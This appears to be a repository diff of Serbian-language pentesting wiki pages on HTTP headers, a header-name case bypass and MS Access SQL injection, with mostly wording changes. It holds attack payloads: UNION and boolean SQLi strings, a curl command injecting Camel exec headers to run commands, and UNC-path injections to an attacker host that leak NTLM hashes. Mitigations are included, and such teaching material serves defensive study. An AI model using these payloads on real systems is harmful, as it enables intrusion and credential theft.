@ -76,4 +76,4 @@ Uvek identifikujte tačnu verziju okvira putem `X-Frame-Options` stranice sa gre
|
||||
* Django bezbednosno izdanje – "Django 5.2.2, 5.1.10, 4.2.22 rešava CVE-2025-48432" – 4. jun 2025.
|
||||
* OP-Innovate: "Django objavljuje bezbednosne ažuriranja za rešavanje SQL injekcije CVE-2024-42005" – 11. avgust 2024.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
@ -57,10 +57,10 @@ Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzum
|
||||
**Zaglavlja servera za keširanje**:
|
||||
|
||||
- **`X-Cache`** u odgovoru može imati vrednost **`miss`** kada zahtev nije keširan i vrednost **`hit`** kada je keširan
|
||||
- Slično ponašanje u zaglavlju **`Cf-Cache-Status`**
|
||||
- Slična ponašanja u zaglavlju **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** označava da li se resurs kešira i kada će biti sledeći put keširan: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** se često koristi u odgovoru da **označi dodatna zaglavlja** koja se tretiraju kao **deo keš ključa** čak i ako su obično neključevi.
|
||||
- **`Age`** definiše vreme u sekundama koliko je objekat bio u proksi kešu.
|
||||
- **`Age`** definiše vreme u sekundama koliko je objekat bio u kešu proksija.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** takođe označava da je resurs keširan
|
||||
|
||||
{{#ref}}
|
||||
@ -76,7 +76,7 @@ Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzum
|
||||
|
||||
## Uslovi
|
||||
|
||||
- Zahtevi koji koriste ova zaglavlja: **`If-Modified-Since`** i **`If-Unmodified-Since`** biće odgovoreni sa podacima samo ako zaglavlje odgovora **`Last-Modified`** sadrži drugačije vreme.
|
||||
- Zahtevi koji koriste ova zaglavlja: **`If-Modified-Since`** i **`If-Unmodified-Since`** će dobiti odgovor sa podacima samo ako zaglavlje odgovora **`Last-Modified`** sadrži drugačije vreme.
|
||||
- Uslovni zahtevi koristeći **`If-Match`** i **`If-None-Match`** koriste Etag vrednost tako da web server pošalje sadržaj odgovora ako su podaci (Etag) promenjeni. `Etag` se uzima iz HTTP odgovora.
|
||||
- Vrednost **Etag** se obično **izračunava** na osnovu **sadržaja** odgovora. Na primer, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` označava da je `Etag` **Sha1** od **37 bajtova**.
|
||||
|
||||
@ -84,7 +84,7 @@ Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzum
|
||||
|
||||
- **`Accept-Ranges`**: Označava da li server podržava zahteve opsega, i ako da, u kojoj jedinici se opseg može izraziti. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Označava deo dokumenta koji server treba da vrati. Na primer, `Range:80-100` će vratiti bajtove 80 do 100 originalnog odgovora sa status kodom 206 Partial Content. Takođe zapamti da ukloniš zaglavlje `Accept-Encoding` iz zahteva.
|
||||
- Ovo bi moglo biti korisno za dobijanje odgovora sa proizvoljnim reflektovanim javascript kodom koji bi inače mogao biti eskapiran. Ali da bi se ovo zloupotrebilo, potrebno je injektovati ova zaglavlja u zahtev.
|
||||
- Ovo može biti korisno za dobijanje odgovora sa proizvoljnim reflektovanim javascript kodom koji bi inače mogao biti eskapiran. Ali da bi se ovo zloupotrebilo, potrebno je injektovati ova zaglavlja u zahtev.
|
||||
- **`If-Range`**: Kreira uslovni zahtev opsega koji se ispunjava samo ako dati etag ili datum odgovara udaljenom resursu. Koristi se da se spreči preuzimanje dva opsega iz nekompatibilnih verzija resursa.
|
||||
- **`Content-Range`**: Označava gde u punom telu poruke pripada delimična poruka.
|
||||
|
||||
@ -96,7 +96,7 @@ Hop-by-hop zaglavlje je zaglavlje koje je dizajnirano da bude obrađeno i konzum
|
||||
- **`Content-Language`**: Opisuje ljudski jezik(e) namenjene publici, tako da omogućava korisniku da razlikuje prema vlastitom preferiranom jeziku.
|
||||
- **`Content-Location`**: Označava alternativnu lokaciju za vraćene podatke.
|
||||
|
||||
Iz perspektive pentesta, ove informacije su obično "beskorisne", ali ako je resurs **zaštićen** sa 401 ili 403 i možeš pronaći neki **način** da **dobiješ** ove **informacije**, to bi moglo biti **zanimljivo.**\
|
||||
Iz perspektive pentesta, ove informacije su obično "beskorisne", ali ako je resurs **zaštićen** sa 401 ili 403 i možeš pronaći neki **način** da **dobiješ** ove **informacije**, to može biti **zanimljivo.**\
|
||||
Na primer, kombinacija **`Range`** i **`Etag`** u HEAD zahtevu može otkriti sadržaj stranice putem HEAD zahteva:
|
||||
|
||||
- Zahtev sa zaglavljem `Range: bytes=20-20` i sa odgovorom koji sadrži `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` otkriva da je SHA1 bajta 20 `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
@ -185,9 +185,9 @@ HTTP/1.1 definiše imena polja zaglavlja kao **neosetljiva na velika i mala slov
|
||||
|
||||
Tipične situacije u kojima se ova greška pojavljuje:
|
||||
|
||||
* Prilagođene liste dozvoljenih/zakonitih koje pokušavaju da blokiraju "opasna" interna zaglavlja pre nego što zahtev stigne do osetljive komponente.
|
||||
* Prilagođene liste dozvoljenih/zakonitih koje pokušavaju da blokiraju "opasna" interna zaglavlja pre nego što zahtev dođe do osetljive komponente.
|
||||
* Interna implementacija reverznih proxy pseudo-zaglavlja (npr. `X-Forwarded-For` sanitizacija).
|
||||
* Okviri koji izlažu upravljačke / debag endpointe i oslanjaju se na imena zaglavlja za autentifikaciju ili izbor komandi.
|
||||
* Okviri koji izlažu upravljačke / debag tačke i oslanjaju se na imena zaglavlja za autentifikaciju ili izbor komandi.
|
||||
|
||||
### Abusing the bypass
|
||||
|
||||
@ -204,11 +204,11 @@ curl "http://<IP>/command-center" \
|
||||
-H "CAmelExecCommandExecutable: ls" \
|
||||
-H "CAmelExecCommandArgs: /"
|
||||
```
|
||||
Zaglavlja dolaze do `exec` komponente nefiltrirana, što rezultira daljinskim izvršavanjem komandi sa privilegijama Camel procesa.
|
||||
Zaglavlja dolaze do `exec` komponente nefiltrirana, što rezultira izvršavanjem daljinskih komandi sa privilegijama Camel procesa.
|
||||
|
||||
### Detekcija i ublažavanje
|
||||
|
||||
* Normalizujte sva imena zaglavlja na jedan oblik (obično mala slova) **pre** nego što izvršite poređenja dozvola/odbijanja.
|
||||
* Normalizujte sve nazive zaglavlja na jedan oblik (obično mala slova) **pre** nego što izvršite poređenja dozvola/odbijanja.
|
||||
* Odbacite sumnjive duplikate: ako su prisutni i `Header:` i `HeAdEr:`, tretirajte to kao anomaliju.
|
||||
* Koristite pozitivnu dozvoljenu listu koja se primenjuje **posle** kanonizacije.
|
||||
* Zaštitite upravljačke krajnje tačke autentifikacijom i mrežnom segmentacijom.
|
||||
|
@ -10,7 +10,7 @@
|
||||
|
||||
### String Concatenation
|
||||
|
||||
Konkatenacija stringova je moguća sa `& (%26)` i `+ (%2b)` karakterima.
|
||||
Kombinacija stringova je moguća sa `& (%26)` i `+ (%2b)` karakterima.
|
||||
```sql
|
||||
1' UNION SELECT 'web' %2b 'app' FROM table%00
|
||||
1' UNION SELECT 'web' %26 'app' FROM table%00
|
||||
@ -21,7 +21,7 @@ Konkatenacija stringova je moguća sa `& (%26)` i `+ (%2b)` karakterima.
|
||||
```sql
|
||||
1' union select 1,2 from table%00
|
||||
```
|
||||
Ako ovo ne funkcioniše, uvek možete ispraviti sintaksu upita:
|
||||
Ако ово не ради, увек можете исправити синтаксу упита:
|
||||
```sql
|
||||
1' UNION SELECT 1,2 FROM table WHERE ''='
|
||||
```
|
||||
@ -50,7 +50,7 @@ Stoga, morate znati **validno ime tabele**.
|
||||
> [!WARNING]
|
||||
> Ovo će vam omogućiti da exfiltrirate vrednosti trenutne tabele bez potrebe da znate ime tabele.
|
||||
|
||||
**MS Access** omogućava **čudnu sintaksu** kao što je **`'1'=2='3'='asd'=false`**. Kao što obično biva, SQL injekcija će biti unutar **`WHERE`** klauzule, što možemo zloupotrebiti.
|
||||
**MS Access** omogućava **čudnu sintaksu** kao što je **`'1'=2='3'='asd'=false`**. Kao što obično SQL injekcija će biti unutar **`WHERE`** klauzule, možemo to zloupotrebiti.
|
||||
|
||||
Zamislite da imate SQLi u MS Access bazi podataka i znate (ili ste pogodili) da je jedno **ime kolone username**, i to je polje koje želite da **exfiltrirate**. Mogli biste proveriti različite odgovore web aplikacije kada se koristi tehnika chaining equals i potencijalno exfiltrirati sadržaj sa **boolean injection** koristeći **`Mid`** funkciju za dobijanje podstringova.
|
||||
```sql
|
||||
@ -101,9 +101,9 @@ IIF((select mid(last(username),1,1) from (select top 10 username from users))='a
|
||||
```
|
||||
Ukratko, upit koristi "if-then" izjavu kako bi aktivirao "200 OK" u slučaju uspeha ili "500 Internal Error" u suprotnom. Iskorišćavanjem TOP 10 operatora, moguće je izabrati prvih deset rezultata. Naknadna upotreba LAST omogućava da se razmatra samo 10. tuple. Na takvoj vrednosti, korišćenjem MID operatora, moguće je izvršiti jednostavnu uporedbu karaktera. Pravilnom promenom indeksa MID i TOP, možemo izvući sadržaj polja "username" za sve redove.
|
||||
|
||||
### Vreme-Bazirane (Slepe) Tehnike
|
||||
### Vremenski zasnovane (slepe) trikove
|
||||
|
||||
Jet/ACE SQL sam po sebi **ne** izlaže nativnu `SLEEP()` ili `WAITFOR` funkciju, tako da su tradicionalne vreme-bazirane slepe injekcije ograničene. Međutim, još uvek možete uvesti merljivo kašnjenje prisiljavajući engine da pristupi **mrežnom resursu koji je spor ili ne odgovara**. Pošto će engine pokušati da otvori datoteku pre nego što vrati rezultat, vreme HTTP odgovora odražava latenciju povratnog puta do hosta koji kontroliše napadač.
|
||||
Jet/ACE SQL sam po sebi **ne** izlaže nativnu `SLEEP()` ili `WAITFOR` funkciju, tako da su tradicionalne vremenski zasnovane slepe injekcije ograničene. Međutim, još uvek možete uvesti merljivo kašnjenje prisiljavajući engine da pristupi **mrežnom resursu koji je spor ili ne odgovara**. Pošto će engine pokušati da otvori datoteku pre nego što vrati rezultat, vreme HTTP odgovora odražava latenciju povratnog puta do hosta koji kontroliše napadač.
|
||||
```sql
|
||||
' UNION SELECT 1 FROM SomeTable IN '\\10.10.14.3\doesnotexist\dummy.mdb'--
|
||||
```
|
||||
@ -140,9 +140,9 @@ Međutim, imajte na umu da je vrlo tipično pronaći SQL injekcije gde **nemate
|
||||
|
||||
## Pristup fajl sistemu
|
||||
|
||||
### Potpuna putanja do web root direktorijuma
|
||||
### Potpuna putanja do web korena
|
||||
|
||||
Znanje o **apsolutnoj putanji web root-a može olakšati dalja napada**. Ako greške aplikacije nisu potpuno sakrivene, putanja do direktorijuma može biti otkrivena pokušajem da se izabere podatak iz nepostojeće baze podataka.
|
||||
Znanje o **apsolutnoj putanji web korena može olakšati dalja napada**. Ako greške aplikacije nisu potpuno sakrivene, putanja do direktorijuma može biti otkrivena pokušajem selektovanja podataka iz nepostojeće baze podataka.
|
||||
|
||||
`http://localhost/script.asp?id=1'+ '+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
||||
|
||||
@ -160,7 +160,7 @@ Drugi način za enumeraciju fajlova sastoji se u **navođenju stavke database.ta
|
||||
|
||||
### Pogađanje imena .mdb fajla
|
||||
|
||||
**Ime fajla baze podataka (.mdb)** može se inferirati sledećim upitom:
|
||||
**Ime baze podataka (.mdb)** može se inferirati sledećim upitom:
|
||||
|
||||
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
||||
|
||||
@ -172,10 +172,10 @@ Od Jet 4.0 svaki upit može referencirati tabelu smeštenu u *drugom* `.mdb/.acc
|
||||
```sql
|
||||
SELECT first_name FROM Employees IN '\\server\share\hr.accdb';
|
||||
```
|
||||
Ako se korisnički unos konkatenira u deo nakon **IN** (ili u `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` poziv), napadač može da specificira **UNC putanju** koja pokazuje na host koji kontroliše. Motor će:
|
||||
Ako se korisnički unos konkatenira u deo posle **IN** (ili u `JOIN … IN` / `OPENROWSET` / `OPENDATASOURCE` poziv), napadač može da specificira **UNC putanju** koja pokazuje na host koji kontroliše. Motor će:
|
||||
|
||||
1. pokušati da se autentifikuje preko SMB / HTTP da otvori udaljenu bazu podataka;
|
||||
2. otkriti **NTLM akreditive** veb-servera (prinudna autentifikacija);
|
||||
2. otkriti **NTLM akreditive** veb servera (prinudna autentifikacija);
|
||||
3. analizirati udaljenu datoteku – neispravna ili zlonamerna baza podataka može izazvati Jet/ACE greške u memoriji koje su više puta ispravljane (npr. CVE-2021-28455).
|
||||
|
||||
Praktičan primer injekcije:
|
||||
@ -184,27 +184,27 @@ Praktičan primer injekcije:
|
||||
FROM MSysObjects
|
||||
IN '\\attacker\share\poc.mdb'-- -
|
||||
```
|
||||
Uticaj:
|
||||
Impact:
|
||||
|
||||
* Ekstrakcija Net-NTLMv2 hešova van kanala (korisno za relaying ili offline cracking).
|
||||
* Potencijalna daljinska izvršenja koda ako se iskoristi nova greška u Jet/ACE parseru.
|
||||
* Izvanbandna eksfiltracija Net-NTLMv2 hash-ova (korisno za relaying ili offline cracking).
|
||||
* Potencijalna daljinska izvršenja koda ako se iskoristi novi bug u Jet/ACE parseru.
|
||||
|
||||
Mere zaštite (preporučuje se čak i za nasleđene Classic ASP aplikacije):
|
||||
Mitigations (preporučuje se čak i za nasleđene Classic ASP aplikacije):
|
||||
|
||||
* Dodajte registry vrednost `AllowQueryRemoteTables = 0` pod `HKLM\Software\Microsoft\Jet\4.0\Engines` (i pod ekvivalentnim ACE putem). Ovo prisiljava Jet/ACE da odbije daljinske putanje koje počinju sa `\\`.
|
||||
* Dodajte registry vrednost `AllowQueryRemoteTables = 0` pod `HKLM\Software\Microsoft\Jet\4.0\Engines` (i pod ekvivalentnim ACE putem). Ovo prisiljava Jet/ACE da odbije udaljene putanje koje počinju sa `\\`.
|
||||
* Blokirajte izlazni SMB/WebDAV na mrežnoj granici.
|
||||
* Sanitizujte / parametrize bilo koji deo upita koji može završiti unutar `IN` klauzule.
|
||||
|
||||
Vektor prisilne autentifikacije ponovo je ispitan od strane Check Point Research 2023. godine, dokazujući da je još uvek moguće iskoristiti ga na potpuno zakrpljenom Windows Serveru kada registry ključ nedostaje. citeturn0search0
|
||||
Vektor prisilne autentifikacije ponovo je istražen od strane Check Point Research 2023. godine, dokazujući da je još uvek moguće iskoristiti na potpuno zakrčenom Windows Server-u kada registry ključ nedostaje. citeturn0search0
|
||||
|
||||
### .mdb Alat za otključavanje lozinki
|
||||
### .mdb Password Cracker
|
||||
|
||||
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) je besplatan alat koji se može koristiti za oporavak glavne lozinke baze podataka Microsoft Access 95/97/2000/XP ili Jet Database Engine 3.0/4.0.
|
||||
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) je besplatni alat koji se može koristiti za oporavak glavne lozinke baze podataka Microsoft Access 95/97/2000/XP ili Jet Database Engine 3.0/4.0.
|
||||
|
||||
## Reference
|
||||
## References
|
||||
|
||||
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
- [Microsoft KB5002984 – Konfigurisanje Jet/ACE za blokiranje daljinskih tabela](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
|
||||
- [Microsoft KB5002984 – Konfigurisanje Jet/ACE za blokiranje udaljenih tabela](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
|
||||
- [Check Point Research – Zloupotreba povezanih tabela Microsoft Access za NTLM prisilnu autentifikaciju (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user